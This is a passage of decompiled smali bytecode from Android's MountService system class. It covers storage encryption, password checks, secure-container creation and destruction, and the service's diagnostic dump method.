Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v1 invoke-direct {v0, v1}, Ljava/lang/SecurityException;-><init>(Ljava/lang/String;)V throw v0 .line 1367 :cond_0 return-void .end method .method private waitForLatch(Ljava/util/concurrent/CountDownLatch;)V .locals 4 .param p1, "latch" # Ljava/util/concurrent/CountDownLatch; .prologue .line 589 :goto_0 const-wide/16 v2, 0x1388 :try_start_0 sget-object v1, Ljava/util/concurrent/TimeUnit;->MILLISECONDS:Ljava/util/concurrent/TimeUnit; invoke-virtual {p1, v2, v3, v1}, Ljava/util/concurrent/CountDownLatch;->await(JLjava/util/concurrent/TimeUnit;)Z move-result v1 if-eqz v1, :cond_0 .line 590 return-void .line 592 :cond_0 const-string v1, "MountService" new-instance v2, Ljava/lang/StringBuilder; invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V const-string v3, "Thread " invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread; move-result-object v3 invoke-virtual {v3}, Ljava/lang/Thread;->getName()Ljava/lang/String; move-result-object v3 invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 const-string v3, " still waiting for MountService ready..." invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v2 invoke-static {v1, v2}, Landroid/util/Slog;->w(Ljava/lang/String;Ljava/lang/String;)I :try_end_0 .catch Ljava/lang/InterruptedException; {:try_start_0 .. :try_end_0} :catch_0 goto :goto_0 .line 595 :catch_0 move-exception v0 .line 596 .local v0, "e":Ljava/lang/InterruptedException; const-string v1, "MountService" const-string v2, "Interrupt while waiting for MountService to be ready." invoke-static {v1, v2}, Landroid/util/Slog;->w(Ljava/lang/String;Ljava/lang/String;)I goto :goto_0 .end method .method private waitForReady()V .locals 1 .prologue .line 583 iget-object v0, p0, Lcom/android/server/MountService;->mConnectedSignal:Ljava/util/concurrent/CountDownLatch; invoke-direct {p0, v0}, Lcom/android/server/MountService;->waitForLatch(Ljava/util/concurrent/CountDownLatch;)V .line 584 return-void .end method .method private warnOnNotMounted()V .locals 4 .prologue .line 1861 invoke-direct {p0}, Lcom/android/server/MountService;->getPrimaryPhysicalVolume()Landroid/os/storage/StorageVolume; move-result-object v1 .line 1862 .local v1, "primary":Landroid/os/storage/StorageVolume; if-eqz v1, :cond_0 .line 1863 const/4 v0, 0x0 .line 1865 .local v0, "mounted":Z :try_start_0 const-string v2, "mounted" invoke-virtual {v1}, Landroid/os/storage/StorageVolume;->getPath()Ljava/lang/String; move-result-object v3 invoke-virtual {p0, v3}, Lcom/android/server/MountService;->getVolumeState(Ljava/lang/String;)Ljava/lang/String; move-result-object v3 invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z :try_end_0 .catch Ljava/lang/IllegalArgumentException; {:try_start_0 .. :try_end_0} :catch_0 move-result v0 .line 1869 :goto_0 if-nez v0, :cond_0 .line 1870 const-string v2, "MountService" const-string v3, "getSecureContainerList() called when storage not mounted" invoke-static {v2, v3}, Landroid/util/Slog;->w(Ljava/lang/String;Ljava/lang/String;)I .line 1873 .end local v0 # "mounted":Z :cond_0 return-void .line 1866 .restart local v0 # "mounted":Z :catch_0 move-exception v2 goto :goto_0 .end method # virtual methods .method public changeEncryptionPassword(ILjava/lang/String;)I .locals 8 .param p1, "type" # I .param p2, "password" # Ljava/lang/String; .prologue .line 2364 iget-object v2, p0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; const-string v3, "android.permission.CRYPT_KEEPER" const-string v4, "no permission to access the crypt keeper" invoke-virtual {v2, v3, v4}, Landroid/content/Context;->enforceCallingOrSelfPermission(Ljava/lang/String;Ljava/lang/String;)V .line 2367 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 2374 :try_start_0 iget-object v2, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v3, "cryptfs" const/4 v4, 0x3 new-array v4, v4, [Ljava/lang/Object; const/4 v5, 0x0 const-string v6, "changepw" aput-object v6, v4, v5 const/4 v5, 0x1 sget-object v6, Lcom/android/server/MountService;->CRYPTO_TYPES:[Ljava/lang/String; aget-object v6, v6, p1 aput-object v6, v4, v5 const/4 v5, 0x2 new-instance v6, Lcom/android/server/NativeDaemonConnector$SensitiveArg; invoke-direct {p0, p2}, Lcom/android/server/MountService;->toHex(Ljava/lang/String;)Ljava/lang/String; move-result-object v7 invoke-direct {v6, v7}, Lcom/android/server/NativeDaemonConnector$SensitiveArg;-><init>(Ljava/lang/Object;)V aput-object v6, v4, v5 invoke-virtual {v2, v3, v4}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; move-result-object v1 .line 2376 .local v1, "event":Lcom/android/server/NativeDaemonEvent; invoke-virtual {v1}, Lcom/android/server/NativeDaemonEvent;->getMessage()Ljava/lang/String; move-result-object v2 invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 move-result v2 .line 2379 .end local v1 # "event":Lcom/android/server/NativeDaemonEvent; :goto_0 return v2 .line 2377 :catch_0 move-exception v0 .line 2379 .local v0, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v0}, Lcom/android/server/NativeDaemonConnectorException;->getCode()I move-result v2 goto :goto_0 .end method .method public clearPassword()V .locals 7 .annotation system Ldalvik/annotation/Throws; value = { Landroid/os/RemoteException; } .end annotation .prologue .line 2500 invoke-direct {p0}, Lcom/android/server/MountService;->isReady()Z move-result v2 if-nez v2, :cond_0 .line 2510 :goto_0 return-void .line 2506 :cond_0 :try_start_0 iget-object v2, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v3, "cryptfs" const/4 v4, 0x1 new-array v4, v4, [Ljava/lang/Object; const/4 v5, 0x0 const-string v6, "clearpw" aput-object v6, v4, v5 invoke-virtual {v2, v3, v4}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 move-result-object v1 .local v1, "event":Lcom/android/server/NativeDaemonEvent; goto :goto_0 .line 2507 .end local v1 # "event":Lcom/android/server/NativeDaemonEvent; :catch_0 move-exception v0 .line 2508 .local v0, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v0}, Lcom/android/server/NativeDaemonConnectorException;->rethrowAsParcelableException()Ljava/lang/IllegalArgumentException; move-result-object v2 throw v2 .end method .method public createSecureContainer(Ljava/lang/String;ILjava/lang/String;Ljava/lang/String;IZ)I .locals 7 .param p1, "id" # Ljava/lang/String; .param p2, "sizeMb" # I .param p3, "fstype" # Ljava/lang/String; .param p4, "key" # Ljava/lang/String; .param p5, "ownerUid" # I .param p6, "external" # Z .prologue .line 1890 const-string v2, "android.permission.ASEC_CREATE" invoke-direct {p0, v2}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 1891 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 1892 invoke-direct {p0}, Lcom/android/server/MountService;->warnOnNotMounted()V .line 1894 const/4 v1, 0x0 .line 1896 .local v1, "rc":I :try_start_0 iget-object v3, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v4, "asec" const/4 v2, 0x7 new-array v5, v2, [Ljava/lang/Object; const/4 v2, 0x0 const-string v6, "create" aput-object v6, v5, v2 const/4 v2, 0x1 aput-object p1, v5, v2 const/4 v2, 0x2 invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; move-result-object v6 aput-object v6, v5, v2 const/4 v2, 0x3 aput-object p3, v5, v2 const/4 v2, 0x4 new-instance v6, Lcom/android/server/NativeDaemonConnector$SensitiveArg; invoke-direct {v6, p4}, Lcom/android/server/NativeDaemonConnector$SensitiveArg;-><init>(Ljava/lang/Object;)V aput-object v6, v5, v2 const/4 v2, 0x5 invoke-static {p5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; move-result-object v6 aput-object v6, v5, v2 const/4 v6, 0x6 if-eqz p6, :cond_1 const-string v2, "1" :goto_0 aput-object v2, v5, v6 invoke-virtual {v3, v4, v5}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 .line 1902 :goto_1 if-nez v1, :cond_0 .line 1903 iget-object v3, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; monitor-enter v3 .line 1904 :try_start_1 iget-object v2, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; invoke-virtual {v2, p1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z .line 1905 monitor-exit v3 :try_end_1 .catchall {:try_start_1 .. :try_end_1} :catchall_0 .line 1907 :cond_0 return v1 .line 1896 :cond_1 :try_start_2 const-string v2, "0" :try_end_2 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_2 .. :try_end_2} :catch_0 goto :goto_0 .line 1898 :catch_0 move-exception v0 .line 1899 .local v0, "e":Lcom/android/server/NativeDaemonConnectorException; const/4 v1, -0x1 goto :goto_1 .line 1905 .end local v0 # "e":Lcom/android/server/NativeDaemonConnectorException; :catchall_0 move-exception v2 :try_start_3 monitor-exit v3 :try_end_3 .catchall {:try_start_3 .. :try_end_3} :catchall_0 throw v2 .end method .method public decryptStorage(Ljava/lang/String;)I .locals 9 .param p1, "password" # Ljava/lang/String; .prologue .line 2295 invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z move-result v3 if-eqz v3, :cond_0 .line 2296 new-instance v3, Ljava/lang/IllegalArgumentException; const-string v4, "password cannot be empty" invoke-direct {v3, v4}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V throw v3 .line 2299 :cond_0 iget-object v3, p0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; const-string v4, "android.permission.CRYPT_KEEPER" const-string v5, "no permission to access the crypt keeper" invoke-virtual {v3, v4, v5}, Landroid/content/Context;->enforceCallingOrSelfPermission(Ljava/lang/String;Ljava/lang/String;)V .line 2302 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 2310 :try_start_0 iget-object v3, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v4, "cryptfs" const/4 v5, 0x2 new-array v5, v5, [Ljava/lang/Object; const/4 v6, 0x0 const-string v7, "checkpw" aput-object v7, v5, v6 const/4 v6, 0x1 new-instance v7, Lcom/android/server/NativeDaemonConnector$SensitiveArg; invoke-direct {p0, p1}, Lcom/android/server/MountService;->toHex(Ljava/lang/String;)Ljava/lang/String; move-result-object v8 invoke-direct {v7, v8}, Lcom/android/server/NativeDaemonConnector$SensitiveArg;-><init>(Ljava/lang/Object;)V aput-object v7, v5, v6 invoke-virtual {v3, v4, v5}, Lcom/android/server/NativeDaemonConnector;->execute(Ljava/lang/String;[Ljava/lang/Object;)Lcom/android/server/NativeDaemonEvent; move-result-object v2 .line 2312 .local v2, "event":Lcom/android/server/NativeDaemonEvent; invoke-virtual {v2}, Lcom/android/server/NativeDaemonEvent;->getMessage()Ljava/lang/String; move-result-object v3 invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I move-result v0 .line 2313 .local v0, "code":I if-nez v0, :cond_1 .line 2316 iget-object v3, p0, Lcom/android/server/MountService;->mHandler:Landroid/os/Handler; new-instance v4, Lcom/android/server/MountService$6; invoke-direct {v4, p0}, Lcom/android/server/MountService$6;-><init>(Lcom/android/server/MountService;)V const-wide/16 v6, 0x3e8 invoke-virtual {v3, v4, v6, v7}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 .line 2330 .end local v0 # "code":I .end local v2 # "event":Lcom/android/server/NativeDaemonEvent; :cond_1 :goto_0 return v0 .line 2328 :catch_0 move-exception v1 .line 2330 .local v1, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v1}, Lcom/android/server/NativeDaemonConnectorException;->getCode()I move-result v0 goto :goto_0 .end method .method public destroySecureContainer(Ljava/lang/String;Z)I .locals 8 .param p1, "id" # Ljava/lang/String; .param p2, "force" # Z .prologue .line 1960 const-string v4, "android.permission.ASEC_DESTROY" invoke-direct {p0, v4}, Lcom/android/server/MountService;->validatePermission(Ljava/lang/String;)V .line 1961 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 1962 invoke-direct {p0}, Lcom/android/server/MountService;->warnOnNotMounted()V .line 1970 invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime; move-result-object v4 invoke-virtual {v4}, Ljava/lang/Runtime;->gc()V .line 1972 const/4 v3, 0x0 .line 1974 .local v3, "rc":I :try_start_0 new-instance v0, Lcom/android/server/NativeDaemonConnector$Command; const-string v4, "asec" const/4 v5, 0x2 new-array v5, v5, [Ljava/lang/Object; const/4 v6, 0x0 const-string v7, "destroy" aput-object v7, v5, v6 const/4 v6, 0x1 aput-object p1, v5, v6 invoke-direct {v0, v4, v5}, Lcom/android/server/NativeDaemonConnector$Command;-><init>(Ljava/lang/String;[Ljava/lang/Object;)V .line 1975 .local v0, "cmd":Lcom/android/server/NativeDaemonConnector$Command; if-eqz p2, :cond_0 .line 1976 const-string v4, "force" invoke-virtual {v0, v4}, Lcom/android/server/NativeDaemonConnector$Command;->appendArg(Ljava/lang/Object;)Lcom/android/server/NativeDaemonConnector$Command; .line 1978 :cond_0 iget-object v4, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; invoke-virtual {v4, v0}, Lcom/android/server/NativeDaemonConnector;->execute(Lcom/android/server/NativeDaemonConnector$Command;)Lcom/android/server/NativeDaemonEvent; :try_end_0 .catch Lcom/android/server/NativeDaemonConnectorException; {:try_start_0 .. :try_end_0} :catch_0 .line 1988 .end local v0 # "cmd":Lcom/android/server/NativeDaemonConnector$Command; :goto_0 if-nez v3, :cond_2 .line 1989 iget-object v5, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; monitor-enter v5 .line 1990 :try_start_1 iget-object v4, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; invoke-virtual {v4, p1}, Ljava/util/HashSet;->contains(Ljava/lang/Object;)Z move-result v4 if-eqz v4, :cond_1 .line 1991 iget-object v4, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; invoke-virtual {v4, p1}, Ljava/util/HashSet;->remove(Ljava/lang/Object;)Z .line 1993 :cond_1 monitor-exit v5 :try_end_1 .catchall {:try_start_1 .. :try_end_1} :catchall_0 .line 1996 :cond_2 return v3 .line 1979 :catch_0 move-exception v2 .line 1980 .local v2, "e":Lcom/android/server/NativeDaemonConnectorException; invoke-virtual {v2}, Lcom/android/server/NativeDaemonConnectorException;->getCode()I move-result v1 .line 1981 .local v1, "code":I const/16 v4, 0x195 if-ne v1, v4, :cond_3 .line 1982 const/4 v3, -0x7 goto :goto_0 .line 1984 :cond_3 const/4 v3, -0x1 goto :goto_0 .line 1993 .end local v1 # "code":I .end local v2 # "e":Lcom/android/server/NativeDaemonConnectorException; :catchall_0 move-exception v4 :try_start_2 monitor-exit v5 :try_end_2 .catchall {:try_start_2 .. :try_end_2} :catchall_0 throw v4 .end method .method protected dump(Ljava/io/FileDescriptor;Ljava/io/PrintWriter;[Ljava/lang/String;)V .locals 16 .param p1, "fd" # Ljava/io/FileDescriptor; .param p2, "writer" # Ljava/io/PrintWriter; .param p3, "args" # [Ljava/lang/String; .prologue .line 3142 move-object/from16 v0, p0 iget-object v12, v0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; const-string v13, "android.permission.DUMP" const-string v14, "MountService" invoke-virtual {v12, v13, v14}, Landroid/content/Context;->enforceCallingOrSelfPermission(Ljava/lang/String;Ljava/lang/String;)V .line 3144 new-instance v9, Lcom/android/internal/util/IndentingPrintWriter; const-string v12, " " const/16 v13, 0xa0 move-object/from16 v0, p2 invoke-direct {v9, v0, v12, v13}, Lcom/android/internal/util/IndentingPrintWriter;-><init>(Ljava/io/Writer;Ljava/lang/String;I)V .line 3146 .local v9, "pw":Lcom/android/internal/util/IndentingPrintWriter; move-object/from16 v0, p0 iget-object v13, v0, Lcom/android/server/MountService;->mObbMounts:Ljava/util/Map; monitor-enter v13 .line 3147 :try_start_0 const-string v12, "mObbMounts:" invoke-virtual {v9, v12}, Lcom/android/internal/util/IndentingPrintWriter;->println(Ljava/lang/String;)V .line 3148 invoke-virtual {v9}, Lcom/android/internal/util/IndentingPrintWriter;->increaseIndent()V .line 3149 move-object/from16 v0, p0 iget-object v12, v0, Lcom/android/server/MountService;->mObbMounts:Ljava/util/Map; invoke-interface {v12}, Ljava/util/Map;->entrySet()Ljava/util/Set; move-result-object v12 invoke-interface {v12}, Ljava/util/Set;->iterator()Ljava/util/Iterator; move-result-object v2 .line 3151 .local v2, "binders":Ljava/util/Iterator;, "Ljava/util/Iterator<Ljava/util/Map$Entry<Landroid/os/IBinder;Ljava/util/List<Lcom/android/server/MountService$ObbState;>;>;>;" :goto_0 invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z move-result v12 if-eqz v12, :cond_1 .line 3152 invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v3 check-cast v3, Ljava/util/Map$Entry; .line 3153 .local v3, "e":Ljava/util/Map$Entry;, "Ljava/util/Map$Entry<Landroid/os/IBinder;Ljava/util/List<Lcom/android/server/MountService$ObbState;>;>;" new-instance v12, Ljava/lang/StringBuilder; invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V invoke-interface {v3}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object; move-result-object v14 invoke-virtual {v12, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; move-result-object v12 const-string v14, ":" invoke-virtual {v12, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v12 invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v12 invoke-virtual {v9, v12}, Lcom/android/internal/util/IndentingPrintWriter;->println(Ljava/lang/String;)V .line 3154 invoke-virtual {v9}, Lcom/android/internal/util/IndentingPrintWriter;->increaseIndent()V .line 3155 invoke-interface {v3}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object; move-result-object v8 check-cast v8, Ljava/util/List; .line 3156 .local v8, "obbStates":Ljava/util/List;, "Ljava/util/List<Lcom/android/server/MountService$ObbState;>;" invoke-interface {v8}, Ljava/util/List;->iterator()Ljava/util/Iterator; move-result-object v5 .local v5, "i$":Ljava/util/Iterator; :goto_1 invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z move-result v12 if-eqz v12, :cond_0 invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v7 check-cast v7, Lcom/android/server/MountService$ObbState; .line 3157 .local v7, "obbState":Lcom/android/server/MountService$ObbState; invoke-virtual {v9, v7}, Lcom/android/internal/util/IndentingPrintWriter;->println(Ljava/lang/Object;)V goto :goto_1 .line 3174 .end local v2 # "binders":Ljava/util/Iterator;, "Ljava/util/Iterator<Ljava/util/Map$Entry<Landroid/os/IBinder;Ljava/util/List<Lcom/android/server/MountService$ObbState;>;>;>;" .end local v3 # "e":Ljava/util/Map$Entry;, "Ljava/util/Map$Entry<Landroid/os/IBinder;Ljava/util/List<Lcom/android/server/MountService$ObbState;>;>;" .end local v5 # "i$":Ljava/util/Iterator; .end local v7 # "obbState":Lcom/android/server/MountService$ObbState; .end local v8 # "obbStates":Ljava/util/List;, "Ljava/util/List<Lcom/android/server/MountService$ObbState;>;" :catchall_0 move-exception v12 monitor-exit v13 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 throw v12 .line 3159 .restart local v2 # "binders":Ljava/util/Iterator;, "Ljava/util/Iterator<Ljava/util/Map$Entry<Landroid/os/IBinder;Ljava/util/List<Lcom/android/server/MountService$ObbState;>;>;>;" .restart local v3 # "e":Ljava/util/Map$Entry;, "Ljava/util/Map$Entry<Landroid/os/IBinder;Ljava/util/List<Lcom/android/server/MountService$ObbState;>;>;" .restart local v5 # "i$":Ljava/util/Iterator; .restart local v8 # "obbStates":Ljava/util/List;, "Ljava/util/List<Lcom/android/server/MountService$ObbState;>;" :cond_0 :try_start_1 invoke-virtual {v9}, Lcom/android/internal/util/IndentingPrintWriter;->decreaseIndent()V goto :goto_0 .line 3161 .end local v3 # "e":Ljava/util/Map$Entry;, "Ljava/util/Map$Entry<Landroid/os/IBinder;Ljava/util/List<Lcom/android/server/MountService$ObbState;>;>;" .end local v5 # "i$":Ljava/util/Iterator; .end local v8 # "obbStates":Ljava/util/List;, "Ljava/util/List<Lcom/android/server/MountService$ObbState;>;" :cond_1 invoke-virtual {v9}, Lcom/android/internal/util/IndentingPrintWriter;->decreaseIndent()V .line 3163 invoke-virtual {v9}, Lcom/android/internal/util/IndentingPrintWriter;->println()V .line 3164 const-string v12, "mObbPathToStateMap:" invoke-virtual {v9, v12}, Lcom/android/internal/util/IndentingPrintWriter;->println(Ljava/lang/String;)V .line 3165 invoke-virtual {v9}, Lcom/android/internal/util/IndentingPrintWriter;->increaseIndent()V .line 3166 move-object/from16 v0, p0 iget-object v12, v0, Lcom/android/server/MountService;->mObbPathToStateMap:Ljava/util/Map; invoke-interface {v12}, Ljava/util/Map;->entrySet()Ljava/util/Set; move-result-object v12 invoke-interface {v12}, Ljava/util/Set;->iterator()Ljava/util/Iterator; move-result-object v6 .line 3167 .local v6, "maps":Ljava/util/Iterator;, "Ljava/util/Iterator<Ljava/util/Map$Entry<Ljava/lang/String;Lcom/android/server/MountService$ObbState;>;>;" :goto_2 invoke-interface {v6}, Ljava/util/Iterator;->hasNext()Z move-result v12 if-eqz v12, :cond_2 .line 3168 invoke-interface {v6}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v4 check-cast v4, Ljava/util/Map$Entry; .line 3169 .local v4, "e":Ljava/util/Map$Entry;, "Ljava/util/Map$Entry<Ljava/lang/String;Lcom/android/server/MountService$ObbState;>;" invoke-interface {v4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object; move-result-object v12 check-cast v12, Ljava/lang/String; invoke-virtual {v9, v12}, Lcom/android/internal/util/IndentingPrintWriter;->print(Ljava/lang/String;)V .line 3170 const-string v12, " -> " invoke-virtual {v9, v12}, Lcom/android/internal/util/IndentingPrintWriter;->print(Ljava/lang/String;)V .line 3171 invoke-interface {v4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object; move-result-object v12 invoke-virtual {v9, v12}, Lcom/android/internal/util/IndentingPrintWriter;->println(Ljava/lang/Object;)V goto :goto_2 .line 3173 .end local v4 # "e":Ljava/util/Map$Entry;, "Ljava/util/Map$Entry<Ljava/lang/String;Lcom/android/server/MountService$ObbState;>;" :cond_2 invoke-virtual {v9}, Lcom/android/internal/util/IndentingPrintWriter;->decreaseIndent()V .line 3174 monitor-exit v13 :try_end_1 .catchall {:try_start_1 .. :try_end_1} :catchall_0 .line 3176 move-object/from16 v0, p0 iget-object v13, v0, Lcom/android/server/MountService;->mVolumesLock:Ljava/lang/Object; monitor-enter v13 .line 3177 :try_start_2 invoke-virtual {v9}, Lcom/android/internal/util/IndentingPrintWriter;->println()V .line 3178 const-string v12, "mVolumes:" invoke-virtual {v9, v12}, Lcom/android/internal/util/IndentingPrintWriter;->println(Ljava/lang/String;)V .line 3179 invoke-virtual {v9}, Lcom/android/internal/util/IndentingPrintWriter;->increaseIndent()V .line 3180 move-object/from16 v0, p0 iget-object v12, v0, Lcom/android/server/MountService;->mVolumes:Ljava/util/ArrayList; invoke-virtual {v12}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator; move-result-object v5 .restart local v5 # "i$":Ljava/util/Iterator; :goto_3 invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z move-result v12 if-eqz v12, :cond_3 invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v11 check-cast v11, Landroid/os/storage/StorageVolume; .line 3181 .local v11, "volume":Landroid/os/storage/StorageVolume; invoke-virtual {v9, v11}, Lcom/android/internal/util/IndentingPrintWriter;->println(Ljava/lang/Object;)V .line 3182 invoke-virtual {v9}, Lcom/android/internal/util/IndentingPrintWriter;->increaseIndent()V .line 3183 new-instance v12, Ljava/lang/StringBuilder; invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V const-string v14, "Current state: " invoke-virtual {v12, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v14 move-object/from16 v0, p0 iget-object v12, v0, Lcom/android/server/MountService;->mVolumeStates:Ljava/util/HashMap; invoke-virtual {v11}, Landroid/os/storage/StorageVolume;->getPath()Ljava/lang/String; move-result-object v15 invoke-virtual {v12, v15}, Ljava/util/HashMap;->get(Ljava/lang/Object;)Ljava/lang/Object; move-result-object v12 check-cast v12, Ljava/lang/String; invoke-virtual {v14, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v12 invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v12 invoke-virtual {v9, v12}, Lcom/android/internal/util/IndentingPrintWriter;->println(Ljava/lang/String;)V .line 3184 invoke-virtual {v9}, Lcom/android/internal/util/IndentingPrintWriter;->decreaseIndent()V goto :goto_3 .line 3187 .end local v5 # "i$":Ljava/util/Iterator; .end local v11 # "volume":Landroid/os/storage/StorageVolume; :catchall_1 move-exception v12 monitor-exit v13 :try_end_2 .catchall {:try_start_2 .. :try_end_2} :catchall_1 throw v12 .line 3186 .restart local v5 # "i$":Ljava/util/Iterator; :cond_3 :try_start_3 invoke-virtual {v9}, Lcom/android/internal/util/IndentingPrintWriter;->decreaseIndent()V .line 3187 monitor-exit v13 :try_end_3 .catchall {:try_start_3 .. :try_end_3} :catchall_1 .line 3189 invoke-virtual {v9}, Lcom/android/internal/util/IndentingPrintWriter;->println()V .line 3190 const-string v12, "mConnection:" invoke-virtual {v9, v12}, Lcom/android/internal/util/IndentingPrintWriter;->println(Ljava/lang/String;)V .line 3191 invoke-virtual {v9}, Lcom/android/internal/util/IndentingPrintWriter;->increaseIndent()V .line 3192 move-object/from16 v0, p0 iget-object v12, v0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; move-object/from16 v0, p1 move-object/from16 v1, p3 invoke-virtual {v12, v0, v9, v1}, Lcom/android/server/NativeDaemonConnector;->dump(Ljava/io/FileDescriptor;Ljava/io/PrintWriter;[Ljava/lang/String;)V .line 3193 invoke-virtual {v9}, Lcom/android/internal/util/IndentingPrintWriter;->decreaseIndent()V .line 3195 new-instance v10, Ljava/text/SimpleDateFormat; const-string v12, "yyyy-MM-dd HH:mm:ss" invoke-direct {v10, v12}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V .line 3197 .local v10, "sdf":Ljava/text/SimpleDateFormat; invoke-virtual {v9}, Lcom/android/internal/util/IndentingPrintWriter;->println()V .line 3198 const-string v12, "Last maintenance: " invoke-virtual {v9, v12}, Lcom/android/internal/util/IndentingPrintWriter;->print(Ljava/lang/String;)V .line 3199 new-instance v12, Ljava/util/Date; move-object/from16 v0, p0 iget-wide v14, v0, Lcom/android/server/MountService;->mLastMaintenance:J invoke-direct {v12, v14, v15}, Ljava/util/Date;-><init>(J)V invoke-virtual {v10, v12}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String; move-result-object v12 invoke-virtual {v9, v12}, Lcom/android/internal/util/IndentingPrintWriter;->println(Ljava/lang/String;)V .line 3200 return-void .end method .method public encryptStorage(ILjava/lang/String;)I .locals 8 .param p1, "type" # I .param p2, "password" # Ljava/lang/String; .prologue const/4 v3, 0x1 const/4 v1, 0x0 .line 2335 invoke-static {p2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z move-result v2 if-eqz v2, :cond_0 if-eq p1, v3, :cond_0 .line 2336 new-instance v1, Ljava/lang/IllegalArgumentException; const-string v2, "password cannot be empty" invoke-direct {v1, v2}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V throw v1 .line 2339 :cond_0 iget-object v2, p0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; const-string v3, "android.permission.CRYPT_KEEPER" const-string v4, "no permission to access the crypt keeper" invoke-virtual {v2, v3, v4}, Landroid/content/Context;->enforceCallingOrSelfPermission(Ljava/lang/String;Ljava/lang/String;)V .line 2342 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V .line 2349 :try_start_0 iget-object v2, p0, 